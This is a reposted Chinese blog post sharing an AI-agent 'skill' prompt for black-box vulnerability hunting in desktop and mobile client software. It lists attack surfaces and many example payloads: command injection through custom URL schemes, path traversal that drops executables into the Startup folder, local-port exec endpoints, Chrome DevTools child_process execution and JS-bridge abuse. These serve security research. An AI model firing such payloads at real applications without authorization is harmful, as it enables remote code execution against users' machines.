文章总结: 该文档介绍客户端黑盒漏洞挖掘技术,重点阐述使用PowerShell、Python等工具对Windows/Android/Mac客户端安装目录进行自动化漏洞挖掘的方法。文档详细列出攻击面分析框架(如CEF/Electron)、自定义协议、侦听端口等关键检测点,并提供多个RCE、目录穿越等真实漏洞案例。强调需通过逆向反编译验证漏洞可靠性,避免虚假漏洞,并建议建立项目缓存保存挖掘过程。 综合评分: 72 文章分类: 漏洞分析,渗透测试,安全工具,红队,WEB安全
客户端漏洞挖掘skills
原创
鬼麦子 鬼麦子
鬼麦子
2026年6月25日 20:05 陕西
在小说阅读器读本章
去阅读
这是当年手工方法,搞成skills win客户端黑盒挖掘
其实,无需多言,给个安装目录,嘎嘎跑就完事,winodws/android/mac这些基本同理。
曾经不少人怀疑ai没法二进制,实际上他妈的,因为cmd PowerShell,基本都是命令行操作,ida/ghidra都不是很友好,退而求其次就r2了,但是agent这个屌毛甚至r2他觉得不好使,人自己用python pefile、struct进行逆向反编译了。
---name: client-side-huntingdescription: 客户端漏洞挖掘,对客户端安装目录进行漏洞挖掘。---
# 客户端黑盒漏洞挖掘
支持Windows客户端,很多东西没必要全量读取,即费上下文又费token,尽量读关键位置,比如关键位置的上下文几千,不必要的输出也别输出,不可修改目标项目的任何文件内容。
只可以使用以下工具:
- PowerShell(主战)- cmd- python- jadx.bat 工具安装目录 D:\hack_tools\jadx\bin- rabin2.exe 工具安装目录 D:\hack_tools\radare2-6.1.6-w64\bin- asar- curl.exe
用好工具,反编译逆向与直接测试都可以用于进行深度漏洞挖掘,如存在攻击面的函数变量深度追踪,危险函数变量的深度追踪。
### 攻击面分析
1. 框架类CEF/Electron/WPF/WinForms/QT/Tauri/WinUI3 2. 自定义协议 Deep Link/App Link 自定义协议路由3. 客户端程序开启的侦听端口4. 客户端进程信息5. 客户端功能6. js接口(JS Bridge)7. 重点关注文件类型: `.exe` `.dll` `.asar` `.config` `.json` `.xml` `.js` `.html` `.pak`
### 漏洞案例
myapp://?id=1|calc 伪协议参数命令注入myapp://?url=http://test.com/cve-2022-xxx.html 客户端可以加载指定页面,但客户端内嵌chrome版本太低并且–no-sandbox未开沙箱,导致rcemyapp://?url=file://C://Windows//System32//calc.exe 伪协议导致可以打开本地任意文件,导致rcemyapp://download?url=http://www.test.com/calc.exe&foldername=…/…/…/…/…/…/Start Menu/Programs/Startup 目录穿越,下载exe至启动目录或者覆盖其他exe文件,导致rcehttp://127.0.0.1:1239/api/exec?cmd=calc 端口功能,导致rcehttp://127.0.0.1:1239/api/ping?ip=0.0.0.0|calc 参数命令注入rcehttp://127.0.0.1:1239/api/go-to?url=http://test.com/cve-2022-xxx.html 客户端可以加载指定页面,但客户端内嵌chrome版本太低并且–no-sandbox未开沙箱,导致rcehttp://127.0.0.1:1239/../../../Windows/win.ini 目录穿越,任意文件读取http://127.0.0.1:29222/json cdp端口开放,导致出现一系列攻击面,如require(‘childprocess’).exec(‘calc’) 导致rce等。 POST http://127.0.0.1:45621/download{“type”:”action”,”url”:”http://[email protected]/calc.exe”} 客户端端口功能,www.test.com特权域可直接执行下载文件,下载并直接执行exe导致rce,特权域绕过。 require(‘childprocess’).exec(‘calc’) 一些客户端内嵌浏览器可控,访问测试页面后可以执行nodejs代码,导致rcewindow.test.test({“cmd”:”calc”}) 一些客户端内嵌浏览器可控,内部定义了很多js接口(JS Bridge)功能,导致rcewindow.test.test({“openurl”:”file://C://Windows//System32//calc.exe”}) 一些客户端内嵌浏览器可控,内部定义了很多js接口功能,导致rcewindow.test.getCookie() 一些客户端内嵌浏览器可控,内部定义了很多js接口(JS Bridge)功能,导致敏感信息泄露http://127.0.0.1:1239/api/get?text=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 远程溢出导致拒绝服务,没有内存保护GS、DEP、ASLR之类,可尝试编写shllcode exp远程rcewindow.test.test(“\x00\x00\x00 “) 溢出导致拒绝服务,没有内存保护GS、DEP、ASLR之类,可尝试编写shllcode exp远程rce“`
漏洞验证
虚假漏洞案例: myapp://page/webview?url=file://C://Windows//System32//calc.exe 如从某些点看起来,这样就可以执行,实际上url参数在某些地方已经没安全过滤了,所以是虚假漏洞; window.test.test({“openurl”:”file://C://Windows//System32//calc.exe”}) 这种是必须某些域名下才能执行,如果不能绕过,或者有特权域的xss,也是虚假漏洞。 所以发现漏洞后,二次验证,必须是可靠漏洞,跟踪整个链路,通过逆向反编译,代码层面验证过或者实际验证过的真实漏洞,可以进行远程攻击的漏洞,不要有恶意exp之类验证,打开计算器或者curl 127.0.0.1/xxx收到log即可。
项目缓存
可在当前目录建立个文件夹存放md文件,保存攻击面、挖掘过程等重要信息,避免超出上下文后,记忆压缩后,对重要信息的遗忘,以及重复测试。
输出标准
- 客户端攻击面、类型、攻击面描述、可能导致出现的漏洞(绝不允许有其他输出)2. 客户端路径、exp、漏洞等级、漏洞类型。(绝不允许有其他输出,必须是可靠漏洞,通过逆向反编译,代码层面验证过或者实际验证过的真实漏洞,可以进行远程攻击的漏洞) “`
回想当年搞客户端,win客户端黑盒挖掘 ,折腾半天,现在就一句话,对c:/xxx 进行漏洞挖掘。
这年头,不要瞎折腾、不要吹牛逼,给AI目标、工具、案例,完事,甚至模型都不需要太好,嘎嘎跑。
你要说直接出洞,除了那种特别明显的,但是对那种几百几千万装机量的,也不太现实,给线索给证据后,有理解的人自然而然就出洞了。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:鬼麦子 鬼麦子 鬼麦子《客户端漏洞挖掘skills》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论